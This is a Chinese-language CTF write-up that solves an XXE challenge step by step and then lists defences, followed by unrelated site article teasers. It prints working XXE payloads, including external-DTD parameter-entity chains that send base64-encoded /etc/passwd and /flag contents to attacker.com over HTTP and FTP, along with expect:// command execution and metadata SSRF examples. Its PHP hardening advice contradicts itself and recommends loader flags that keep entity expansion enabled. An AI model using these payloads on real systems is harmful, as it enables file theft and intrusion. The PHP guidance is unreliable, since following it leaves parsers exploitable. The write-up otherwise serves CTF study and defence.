从CTF压轴题实战解析XXE漏洞:原理、绕过与防御
1. 项目概述从一道CTF压轴题看XXE漏洞的实战价值最近几年但凡关注网络安全竞赛的朋友应该都对CTFCapture The Flag赛制不陌生。它已经从极客圈的小众游戏变成了衡量安全团队和个人技术实力的重要标尺。而在众多Web安全题目中XML外部实体注入XXE漏洞相关的题目尤其是那些被放在压轴位置的往往最能考验选手的综合能力。这类题目通常不会直接给你一个“/etc/passwd”的读取入口而是将XXE与业务逻辑、协议特性、甚至后端架构深度绑定解题过程就像一次完整的渗透测试。我之所以想深入聊聊这个主题是因为在一次内部技术复盘会上我们团队花了近四个小时才啃下一道经典的XXE压轴题。整个过程充满了“柳暗花明”的转折从最初的请求包分析到中间遇到的各种WAF和过滤规则再到最后利用非常规协议实现数据外带几乎涵盖了XXE漏洞在真实攻防场景中可能遇到的所有难点。这道题不仅考察了对XXE原理的透彻理解更考验了在受限环境下的创造性思维和耐心。所以这篇文章不是一份简单的XXE漏洞利用手册。我将以那道压轴题为蓝本结合我多年在渗透测试和CTF解题中的经验为你完整拆解一个高难度XXE漏洞的实战攻击链。无论你是正在备战CTF的选手还是希望深入理解XXE在复杂场景下如何被利用的安全从业者相信都能从中获得直接的启发和可复现的技巧。我们会从最基础的原理回顾开始一步步构建攻击思路最终攻克那些看似坚固的防御。2. 核心原理与攻击面深度解析2.1 XML与外部实体被忽视的“信任”危机要理解XXE必须先回到XML本身。XML设计之初的一个重要特性就是“可扩展性”而实体Entity声明正是实现这种扩展的核心机制之一。你可以把实体理解为一个预定义的变量或宏在文档中通过实体名;来引用。例如定义一个内部实体!ENTITY author “alice”之后在XML中写author;就会被解析为“alice”。问题出在“外部实体”上。XML规范允许通过系统标识符SYSTEM identifier从外部资源加载实体内容。语法是!ENTITY 实体名 SYSTEM “URI”。这里的URI可以是file://、http://、ftp://等协议。当XML解析器在解析文档时遇到对外部实体的引用它会去访问指定的URI并将获取到的内容替换到引用点。为什么这会成为漏洞核心在于“信任边界”的模糊。许多应用程序接收用户输入的XML数据如SOAP请求、文档上传、配置导入并默认这些数据是“善意”的。它们使用默认配置的XML解析器如PHP的simplexml_load_string、Java的DocumentBuilderFactory、Python的lxml.etree去处理这些数据。如果解析器启用了外部实体加载功能那么攻击者就可以在XML中插入恶意的外部实体声明从而操纵解析器去访问本不应被访问的系统资源。注意并非所有XML解析器默认都开启外部实体加载。但很多老旧系统、某些框架的默认配置或者开发者为了“功能完整”而手动开启的情况非常普遍。这是XXE漏洞长期存在的基础。2.2 攻击向量演化从文件读取到SSRF与RCE很多人对XXE的印象还停留在“读取服务器本地文件”。这确实是经典利用方式通过file://协议读取/etc/passwd、C:\windows\win.ini等敏感文件。但在实战和CTF中出题人早就超越了这一阶段。盲注XXEBlind XXE当服务器解析了XML但不会在响应中直接回显结果时就需要盲注技术。核心思路是利用外部实体触发带外Out-of-Band通道将数据通过DNS或HTTP请求发送到攻击者控制的服务器。例如定义一个引用http://attacker.com/?datafile;的外部实体如果解析器尝试访问这个URL我们就能在攻击者的Web日志中看到被读取的文件内容经过编码后作为参数。服务端请求伪造SSRFXXE天然就是SSRF的绝佳载体。通过http://或ftp://等协议可以诱使服务器向内部网络发起请求探测内网资产、攻击未授权服务。在云原生环境下这甚至可以用于访问云元数据服务如http://169.254.169.254/获取实例的敏感凭证。拒绝服务DoS利用XML规范中的“亿笑”攻击Billion Laughs Attack通过嵌套的指数级膨胀的实体定义耗尽服务器内存。例如!ENTITY lol “ha”!ENTITY lol2 “lol;lol;” 不断嵌套最终一个很小的实体会被扩展成GB级别的字符串。远程代码执行RCE这是XXE攻击的“皇冠”条件较为苛刻。在某些特定环境下如PHP的expect模块被加载时可以利用!ENTITY xxe SYSTEM “expect://id”执行命令。更常见的是通过XXE读取包含敏感信息的配置文件如/proc/self/environ、/home/user/.ssh/id_rsa进而获取更高权限或者结合其他漏洞链达到RCE。2.3 CTF压轴题的典型特征基于以上攻击面一道优秀的XXE压轴题通常会设置多重障碍输入点隐蔽XML输入可能隐藏在非标准的HTTP头如X-Forwarded-For的自定义格式、某种API的特定参数、甚至是对某种协议如SVG图像上传、DOCX文档解析的伪装中。输出点盲注服务器完全不返回任何解析结果或者只返回一个固定的成功/错误状态迫使你使用OOB技术。严格的过滤与WAF可能会过滤或转义关键词如SYSTEM、PUBLIC、ENTITY、CDATA、file://、http://等或者对DTD部分进行长度限制。非常规协议或编码限制常用协议时需要利用php://filter、compress.zlib://等PHP包装器或者netdoc://Java、gopher://等协议进行绕过。多步骤利用链单纯的XXE读取可能只是第一步读到的信息如源码、配置文件需要进一步分析才能找到下一个漏洞点形成链式攻击。3. 实战环境搭建与题目还原为了让你有身临其境的感觉我将我们遇到的那道压轴题的核心场景进行还原和简化搭建一个模拟环境。这道题是一个“在线XML数据转换服务”。题目描述服务提供一个API端点/api/convert接收POST请求。请求体应为JSON格式包含一个data字段字段值是一个Base64编码的字符串该字符串解码后是一个XML文档。服务会将此XML转换为JSON格式返回。题目提示获取/flag文件的内容。初步测试curl -X POST http://target.com/api/convert -H “Content-Type: application/json” -d ‘{“data”: “PD94bWwgdmVyc2lvbj0iMS4wIj48bm90ZT48dGl0bGUSGVsbG88L3RpdGxlPjxib2R5PldvcmxkPC9ib2R5Pjwvbm90ZT4”}’上面Base64解码后是?xml version“1.0”?notetitleHello/titlebodyWorld/body/note服务返回{“status”: “success”, “result”: {“note”: {“title”: “Hello”, “body”: “World”}}}看起来功能正常。尝试一个经典的XXE payload尝试读取/etc/passwd{ “data”: “PD94bWwgdmVyc2lvbj0iMS4wIj48IURPQ1RZUEUgZm9vIFsgPCFFTlRJVFkgZXhlIFNZU1RFTSAiZmlsZTovLy9ldGMvcGFzc3dkIj4gXT48Zm9vPiZleGU7PC9mb28” }解码后?xml version“1.0”?!DOCTYPE foo [ !ENTITY exe SYSTEM “file:///etc/passwd” ]fooexe;/foo返回结果却是{“status”: “error”, “message”: “Invalid XML: Forbidden protocol or entity”}这表明服务端存在过滤。我们的实战之旅就从这里正式开始。4. 层层突破过滤绕过与协议利用技巧4.1 初探过滤规则首先需要探测过滤了哪些关键词。通过fuzzing模糊测试我们很快发现直接出现SYSTEM “file://”会被拦截。出现ENTITY和SYSTEM关键词在一起会被拦截。http://、ftp://同样被拦截。但是仅声明ENTITY如!ENTITY test “hello”不会被拦截说明过滤逻辑可能针对的是SYSTEM关键词和特定协议字符串的组合。绕过思路1XML参数实体与外部DTD这是绕过关键词过滤的经典方法。我们不在内部DTD中直接发起攻击而是将攻击载荷放在一个外部DTD文件中。在攻击者控制的服务器http://attacker.com/上放置一个DTD文件evil.dtd!ENTITY % file SYSTEM “php://filter/readconvert.base64-encode/resource/etc/passwd” !ENTITY % init “!ENTITY % trick SYSTEM ‘http://attacker.com/?p%file;’” %init; %trick;向目标发送以下XML?xml version“1.0”? !DOCTYPE convert [ !ENTITY % remote SYSTEM “http://attacker.com/evil.dtd” %remote; ] footest/foo原理XML参数实体以%开头的实体可以在DTD内部使用。当解析器加载外部DTDevil.dtd时会执行其中的内容。%file实体会读取/etc/passwd并Base64编码然后%init和%trick实体试图将编码后的内容作为参数发起一个HTTP请求到攻击者服务器。然而我们发现请求发出了但攻击者服务器收到的p参数是空的。这是因为在一个外部DTD文件中如果参数实体%file被嵌套在另一个参数实体%trick的声明中许多解析器如PHP默认的libxml出于安全考虑不允许这种“嵌套的参数实体引用”。这就是所谓的“外部DTD中的嵌套实体限制”。4.2 利用协议封装器与编码绕过既然直接嵌套不行我们换一种方式。目标是不直接使用file://且将读取到的数据带出来。绕过思路2PHP Filter协议与数据外带我们注意到错误信息中提到“Forbidden protocol”但php://filter可能不在黑名单中因为它不是网络协议。修改evil.dtd!ENTITY % file SYSTEM “php://filter/readconvert.base64-encode/resource/flag” !ENTITY % eval “!ENTITY #x25; exfil SYSTEM ‘http://attacker.com/?data%file;’” %eval; %exfil;再次发送请求观察攻击者服务器的访问日志。这次我们收到了一个请求但data参数的值非常长且看起来是Base64但解码后是乱码。原因是URL对长字符串和特殊字符如Base64中的、/的截断和编码问题。绕过思路3分块外带与FTP协议当HTTP带外数据不稳定或受限时可以尝试FTP协议。FTP协议支持被动模式服务器会主动连接攻击者指定的地址和端口来传输数据有时能绕过对HTTP外带的检测。在攻击者服务器上搭建一个简单的FTP服务器如使用Python的pyftpdlib并配置为允许匿名上传。修改evil.dtd让目标服务器将读取的文件内容作为“文件名”尝试上传到FTP服务器!ENTITY % file SYSTEM “php://filter/readconvert.base64-encode/resource/flag” !ENTITY % payload “!ENTITY #x25; send SYSTEM ‘ftp://attacker.com:2121/%file;’” %payload; %send;在FTP服务器的日志中我们可能会看到连接尝试并且“文件名”就是Base64编码后的flag内容。但同样可能会遇到长度限制或特殊字符问题。经过多次尝试我们发现这道题的环境对FTP协议也有一定限制。此时需要更精细的数据外带技巧。4.3 终极技巧利用XML解析特性与CDATA标签我们的目标是读取/flag。假设flag内容是一行字符串flag{this_is_a_test}。直接读取可能会因为包含花括号等字符破坏XML结构。php://filter的Base64编码是可靠的但外带不顺利。关键突破点我们观察到尽管服务返回错误但当我们发送格式完全正确的XML时它返回“success”。这意味着解析器确实完整地解析了我们的XML。那么能否让解析过程中的“错误”或“副作用”成为我们获取信息的渠道利用思路通过报错信息回显数据Error-Based XXE某些XML解析器如Java的DocBuilder、.NET的XmlDocument在遇到格式错误时会将部分解析内容包含在错误信息中。我们可以构造一个特殊的实体使其在扩展后形成一个格式错误的XML从而将文件内容挤入错误信息。 对于PHP环境一种可能的方法是结合php://filter和convert.base64-encode然后利用http协议将数据放在URL中但之前失败了。我们换个角度如果目标服务器能将XML解析结果哪怕出错记录到某个日志文件而我们又能通过其他方式如文件包含读取这个日志呢但这需要另一个漏洞条件更苛刻。在反复测试中我们最终发现了一个被忽略的细节服务在返回JSON时会对文本内容进行HTML实体编码吗我们尝试在XML的文本节点中插入一个普通实体引用。先确认内部实体可用!ENTITY test “MY_TEST_DATA” 然后在XML体中引用test;返回的JSON中成功出现了MY_TEST_DATA。现在尝试将test实体定义为从php://filter读取/flag?xml version“1.0”? !DOCTYPE foo [ !ENTITY test SYSTEM “php://filter/readconvert.base64-encode/resource/flag” ] footest;/foo发送请求后返回了{“status”: “error”, “message”: “Invalid XML: Forbidden protocol or entity”}。说明SYSTEM关键词触发了过滤。最终绕过利用XML参数实体的“拼接”技巧这是本题最精妙的地方。过滤逻辑可能只检查了DOCTYPE内部第一层的SYSTEM关键词。我们可以利用XML参数实体的拼接绕过对完整SYSTEM字符串的检测。 构造Payload如下?xml version“1.0”? !DOCTYPE foo [ !ENTITY % start “![CDATA[“ !ENTITY % file SYSTEM “php://filter/readconvert.base64-encode/resource/flag” !ENTITY % end “]]” !ENTITY % dtd SYSTEM “http://attacker.com/combine.dtd” %dtd; ] fooall;/foo在攻击者服务器上的combine.dtd文件内容为!ENTITY all “%start;%file;%end;”原理拆解在内部DTD中我们定义了三个参数实体%start(值为![CDATA[)、%file(用于读取文件)、%end(值为]])。注意%file的声明中包含了SYSTEM和php://filter...但此时它只是一个“声明”并未被“使用”。某些简单的过滤可能只在实体被“使用”即被引用时才检查其内容或者对参数实体的检查不严格。我们引入一个外部DTD (combine.dtd)。这个外部DTD的内容是安全的不包含敏感关键词。在外部DTD中我们声明了一个普通实体all其值通过引用内部DTD中定义的%start;、%file;、%end;来拼接。关键点在于%file;的“展开”发生在外部DTD被加载和解析之后。此时内部DTD中的%file实体已经被解析器获取并存储在内存中其值即Base64编码后的flag内容会被直接替换到all实体的定义里。最终all实体的值会是![CDATA[Base64EncodedFlag]]。CDATA区块会告诉解析器其中的内容应被视为纯文本即使包含XML特殊字符也无所谓。回到主XML文档引用all;解析器将其替换为完整的CDATA区块其中的文本就是Base64编码的flag。当我们发送这个精心构造的Payload后服务返回了“success”并且在result字段中我们看到了一个长长的Base64字符串解码后真正的flag赫然在目。5. 防御策略与安全开发建议通过这道题的折磨我们反向思考如何从根本上防御XXE漏洞这需要开发、运维和安全团队的共同协作。5.1 代码层禁用外部实体是根本原则除非业务绝对必需否则在所有XML解析处显式禁用外部实体加载和DTD处理。Java (DocumentBuilderFactory):DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); dbf.setFeature(“http://apache.org/xml/features/disallow-doctype-decl”, true); // 首选完全禁用DTD // 如果必须使用DTD则至少禁用外部实体 dbf.setFeature(“http://xml.org/sax/features/external-general-entities”, false); dbf.setFeature(“http://xml.org/sax/features/external-parameter-entities”, false); dbf.setFeature(“http://apache.org/xml/features/nonvalidating/load-external-dtd”, false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false);PHP (libxml):libxml_disable_entity_loader(true); // 或者在使用SimpleXML/DOM时 $dom new DOMDocument(); $dom-loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD); // 错误这很危险。 $dom-loadXML($xml, LIBXML_NOENT); // 仍然危险。 // 正确做法使用 libxml_disable_entity_loader 或在解析时指定 LIBXML_NOENT 的同时确保加载器已禁用。 // 最安全的是使用 $dom-loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_DTDATTR); // 但需要配合全局禁用实体加载器。 // 推荐更新版本的PHP使用 $dom-loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_DTDATTR | LIBXML_NOERROR | LIBXML_NOWARNING); // 并确保在php.ini中设置 libxml_disable_entity_loader On (不推荐影响全局)注意PHP的配置较为混乱最佳实践是在处理用户输入前明确调用libxml_disable_entity_loader(true)。Python (lxml):from lxml import etree parser etree.XMLParser(resolve_entitiesFalse, no_networkTrue) # 关键参数 tree etree.fromstring(xml_data, parserparser).NET:XmlDocument xmlDoc new XmlDocument(); xmlDoc.XmlResolver null; // 将解析器设为null是关键 xmlDoc.LoadXml(xmlString);5.2 架构与运维层纵深防御输入验证与过滤在XML数据流入核心业务逻辑前进行严格的模式验证XSD Schema。虽然无法完全依赖过滤来防御XXE但可以阻断一些明显的恶意载荷。可以建立关键词黑名单SYSTEM, PUBLIC, ENTITY, % CDATA等但更要明白黑名单很容易被绕过。使用更安全的数据格式在微服务或API交互中优先考虑使用JSON而非XML。如果必须使用XML确保接收端是上述配置安全的解析器。依赖库升级与安全配置定期升级XML处理库如libxml2, Xerces等确保已知漏洞被修复。在应用服务器或运行环境层面检查并加固默认配置。网络层限制通过防火墙策略或安全组限制服务器发起非必要的出站连接特别是HTTP、FTP、Gopher等。这可以有效阻断Blind XXE的数据外带通道。WAF/IPS规则部署针对XXE的特定规则检测请求中是否包含可疑的DTD声明、外部实体引用或敏感协议。但WAF不应作为主要防御手段。5.3 安全测试将XXE纳入常规评估在渗透测试和安全代码审计中必须将XXE作为一项核心检查项自动化扫描使用Burp Suite Professional的Scanner、OWASP ZAP或专门的XXE扫描工具进行初步探测。手工测试寻找所有可能的XML输入点HTTP请求体、参数、头、文件上传SVG, DOCX, PDF, XML配置文件等。尝试提交一个包含简单内部实体的XML看是否被解析。尝试引用一个不存在的内部实体观察错误信息差异判断XML是否被解析。使用经典的XXE Payload进行文件读取、SSRF测试。如果无回显立即转向Blind XXE测试部署DNS和HTTP监听服务器尝试使用参数实体外部DTD进行OOB攻击。代码审计全局搜索代码中用于XML解析的函数或类检查其安全配置是否到位。攻克一道CTF的XXE压轴题就像完成一次小型的安全评估。它迫使你不仅要知道漏洞的原理更要理解解析器的行为、各种协议的特性、过滤器的弱点以及如何在受限环境下创造性地组合利用这些知识。在实际的网络防御中攻击者的思维只会更灵活。因此作为防御方唯一可靠的方法就是在源头——代码开发和配置管理上就杜绝产生漏洞的可能。希望这次深入的实战解析能让你下次面对XXE时无论是攻击还是防御都能更加游刃有余。

相关新闻

引力搜索算法优化SVM参数:MATLAB实现与性能提升

引力搜索算法优化SVM参数:MATLAB实现与性能提升

1. 引力搜索算法优化支持向量机模型概述在机器学习领域,支持向量机(SVM)因其出色的分类性能而广受欢迎,但其参数选择对最终分类精度有着决定性影响。传统网格搜索方法不仅耗时,而且容易陷入局部最优。引力搜索算法(GSA)作为一种启发式优化方法…

2026/7/29 12:15:53阅读更多 →
LangChain链式架构演进与生产实践指南

LangChain链式架构演进与生产实践指南

1. LangChain链式架构演进全景图 2019年诞生的LangChain框架,其核心设计理念始终围绕"链式调用"展开。作为大语言模型应用开发的脚手架,链式架构经历了三个标志性发展阶段: 2020年的顺序链(Sequential Chain&#xff0…

2026/7/29 12:15:53阅读更多 →
那些劝我别辞职的声音,没有一个能帮我还月供

那些劝我别辞职的声音,没有一个能帮我还月供

辞职那天晚上,我妈打了四个电话。 第一个劝我冷静。第二个让我想想社保怎么办。第三个开始举例——谁谁家孩子辞职后两年没找到工作,谁谁家孩子创业赔了三十万。第四个我没接。 不是不孝。是我知道她说的都是真的。但我更知道另一件她不知道的事&#xf…

2026/7/29 12:13:53阅读更多 →
【AI】Claude Code:从“对话“走向“行动“

【AI】Claude Code:从“对话“走向“行动“

本文汇总整理自全网访问量较高的 Claude 相关技术文章,提炼其中的核心观点,涵盖 Claude Code 使用技巧、子代理(Subagent)并行工作流、MCP 集成、提示词工程与上下文工程等热门主题。文末附全部原文出处,方便深入阅读。…

2026/7/29 13:34:45阅读更多 →
AI 创作不用多平台,胜算云一套搞定批量出图与视频

AI 创作不用多平台,胜算云一套搞定批量出图与视频

一、AI创作不用多平台!透明计费新模型免费极速体验 AI创作无需切换多个平台、重复订阅付费!胜算云一套平台全覆盖,采用按秒、按张精准按需计费模式,费用透明可控,零隐形消费、零重复订阅成本。全网爆款AI新模型秒速上…

2026/7/29 13:34:45阅读更多 →
打造微型自平衡机器人:从IMU选型到PID调参的工程实践

打造微型自平衡机器人:从IMU选型到PID调参的工程实践

1. 项目缘起:从“东半球最小”的噱头说起 最近在机器人爱好者圈子里,一个名为“NANO”的自平衡机器人项目小火了一把。它的宣传语“东半球最小的自平衡机器人”确实足够抓人眼球,也让我这个老玩家产生了浓厚的兴趣。自平衡机器人,…

2026/7/29 13:34:45阅读更多 →
指纹浏览器实测对比:如何根据测试结果筛除不匹配的产品

指纹浏览器实测对比:如何根据测试结果筛除不匹配的产品

一款指纹浏览器可能在检测页面中没有明显异常,但关闭环境重新打开后,代理、时区或登录状态却发生变化。 这种问题比综合评分低几分更值得关注。 不同评测文章采用的测试条件并不相同:有的关注指纹参数,有的比较启动速度&#xf…

2026/7/29 13:34:45阅读更多 →
为什么92.3%的团队部署Qwen2-7B失败?——开源模型本地部署的3个被忽略的系统级前提(含Linux内核参数调优表)

为什么92.3%的团队部署Qwen2-7B失败?——开源模型本地部署的3个被忽略的系统级前提(含Linux内核参数调优表)

更多请点击: https://kaifayun.com 第一章:为什么92.3%的团队部署Qwen2-7B失败?——开源模型本地部署的3个被忽略的系统级前提(含Linux内核参数调优表) Qwen2-7B虽为轻量级大模型,但其推理过程对底层系统环…

2026/7/29 13:34:45阅读更多 →
硬件开发必备:从Datasheet到代码,温湿度传感器实战指南

硬件开发必备:从Datasheet到代码,温湿度传感器实战指南

1. 从“天书”到“地图”:为什么你必须学会读Datasheet 刚接触硬件开发或者嵌入式系统的时候,很多人拿到一片传感器芯片,第一反应就是找现成的库、搜例程代码,恨不得三分钟就让板子跑起来。这没错,效率优先。但很快你就…

2026/7/29 13:32:45阅读更多 →
覆盖国产 + 海外 + 开源模型,OpenClaw 2.7.9 Windows/Mac 双端部署详解

覆盖国产 + 海外 + 开源模型,OpenClaw 2.7.9 Windows/Mac 双端部署详解

🔹 工具基础介绍 OpenClaw 是开源生态中一款实用性较强的本地智能工具,凭借本地离线运行、可视化图形操作和任务自动化三大核心特性,赢得了众多用户的青睐。与普通在线对话AI工具不同,它属于能够直接操控本机软硬件的智能数字员工…

2026/7/29 9:47:45阅读更多 →
伺服阀焊完微漏毁整机?精密激光焊接三关锁住高压

伺服阀焊完微漏毁整机?精密激光焊接三关锁住高压

所谓液压伺服阀体的精密激光焊接,是用激光束对阀座壳体(通常为不锈钢或铝合金)进行密封焊接,使阀体在21-35MPa的高压液压油或压缩气体中长期运行而不发生介质泄漏。液压伺服阀是高端液压系统的"大脑"。从航空航天飞行控…

2026/7/29 7:00:19阅读更多 →
D2DX:三步实现《暗黑破坏神2》高清宽屏体验的终极指南

D2DX:三步实现《暗黑破坏神2》高清宽屏体验的终极指南

D2DX:三步实现《暗黑破坏神2》高清宽屏体验的终极指南 【免费下载链接】d2dx D2DX is a complete solution to make Diablo II run well on modern PCs, with high fps and better resolutions. 项目地址: https://gitcode.com/gh_mirrors/d2/d2dx 你是否还在…

2026/7/29 7:58:51阅读更多 →
28. Agent 执行到一半想暂停?用 interrupt 给它设个“关卡“!

28. Agent 执行到一半想暂停?用 interrupt 给它设个“关卡“!

28. Agent 执行到一半想暂停?用 interrupt 给它设个“关卡“! 在构建复杂的 Agent 系统时,我们经常会遇到这样的场景:Agent 正在执行一个多步骤的任务,比如“下单购买商品”,但执行到一半时,我们…

2026/7/29 0:01:46阅读更多 →
自律同行,突破无界!NANK南卡正式官宣曾舜晞成为品牌代言人

自律同行,突破无界!NANK南卡正式官宣曾舜晞成为品牌代言人

近日,国际专注开放式技术研发的声学品牌Nank南卡,正式官宣实力艺人曾舜晞担任品牌代言人。消息一经发出便轰动全网。为什么耳机品牌不选择流量明星、老牌歌手?而且是选择曾舜晞?让我们一起来探索一下!比起短期的流量&a…

2026/7/29 0:01:46阅读更多 →
【RT-DETR多模态创新改进】CVPR 2025 | 独家特征融合创新改进篇 | 引入RLAB残差线性注意力模块,有效融合并强调多尺度特征,多种改进点,适合红外与可见光融合目标检测任务,有效涨点

【RT-DETR多模态创新改进】CVPR 2025 | 独家特征融合创新改进篇 | 引入RLAB残差线性注意力模块,有效融合并强调多尺度特征,多种改进点,适合红外与可见光融合目标检测任务,有效涨点

一、本文介绍 🔥本文在RT-DETR多模态融合目标检测中引入RLAB残差线性注意力模块,可在不同模态特征交互阶段进行多次残差细化,使可见光、红外等特征在尺度、语义和空间位置上更好对齐;随后将细化特征与解码器输出拼接并生成Q、K、V,通过线性注意力自适应强化关键通道、目…

2026/7/29 0:01:46阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/28 20:22:24阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/29 4:31:51阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/28 2:35:58阅读更多 →